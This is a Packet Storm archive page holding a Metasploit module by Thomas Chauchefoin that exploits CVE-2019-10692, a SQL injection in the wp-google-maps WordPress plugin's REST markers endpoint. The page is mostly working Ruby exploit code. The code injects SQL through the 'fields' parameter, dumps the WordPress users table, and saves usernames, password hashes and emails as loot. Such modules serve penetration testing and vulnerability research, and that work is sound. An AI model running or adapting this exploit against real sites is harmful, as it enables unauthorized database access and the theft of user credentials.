what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Google Maps Plugin SQL Injection

WordPress Google Maps Plugin SQL Injection
Posted Aug 31, 2024
Authored by Thomas Chauchefoin | Site metasploit.com

This Metasploit module exploits a SQL injection vulnerability in a REST endpoint registered by the WordPress plugin wp-google-maps between 7.11.00 and 7.11.17 (included). As the table prefix can be changed by administrators, set DB_PREFIX accordingly.

tags | exploit, sql injection
advisories | CVE-2019-10692
SHA-256 | a6afb19200f7d38aa6f53b30a026e1af62c0d85585e00430f312101efdcecabd

WordPress Google Maps Plugin SQL Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress

def initialize(_info = {})
super(
'Name' => 'WordPress Google Maps Plugin SQL Injection',
'Description' => %q{
This module exploits a SQL injection vulnerability in a REST endpoint
registered by the WordPress plugin wp-google-maps between 7.11.00 and
7.11.17 (included).

As the table prefix can be changed by administrators, set DB_PREFIX
accordingly.
},
'Author' => [
'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-10692'],
['WPVDB', '9249']
],
'DisclosureDate' => '2019-04-02'
)

register_options(
[
OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])
]
)
end

def send_sql_request(sql_query)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'rest_route' => '/wpgmza/v1/markers',
'filter' => '{}',
'fields' => "#{sql_query}-- -"
}
)

return nil if res.nil? || res.code != 200 || res.body.nil?

res.body
end

def check
mynum = Rex::Text.rand_text_numeric(8..20).to_s
body = send_sql_request(mynum)
return Exploit::CheckCode::Unknown if body.nil?
return Exploit::CheckCode::Vulnerable if body.include?(mynum)

Exploit::CheckCode::Unknown
end

def run
print_status("#{peer} - Trying to retrieve the #{datastore['DB_PREFIX']}users table...")

body = send_sql_request("* from #{datastore['DB_PREFIX']}users")
fail_with(Failure::UnexpectedReply, 'No response or unexpected status code in response') if body.nil?

begin
body = JSON.parse(body)
rescue JSON::ParserError
fail_with(Failure::NotFound, 'Returned data is not in JSON format')
end

if body.empty?
print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")
else
loot = store_loot('wp_google_maps.json', 'application/json', rhost, body.to_s)
print_good("Credentials saved in: #{loot}")
end

body.each do |user|
print_good("#{peer} - Found #{user['user_login']} #{user['user_pass']} #{user['user_email']}")
connection_details = {
module_fullname: fullname,
username: user['user_login'],
private_data: user['user_pass'],
private_type: :nonreplayable_hash,
workspace_id: myworkspace_id,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: user['user_email']
}.merge(service_details)
create_credential(connection_details)
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close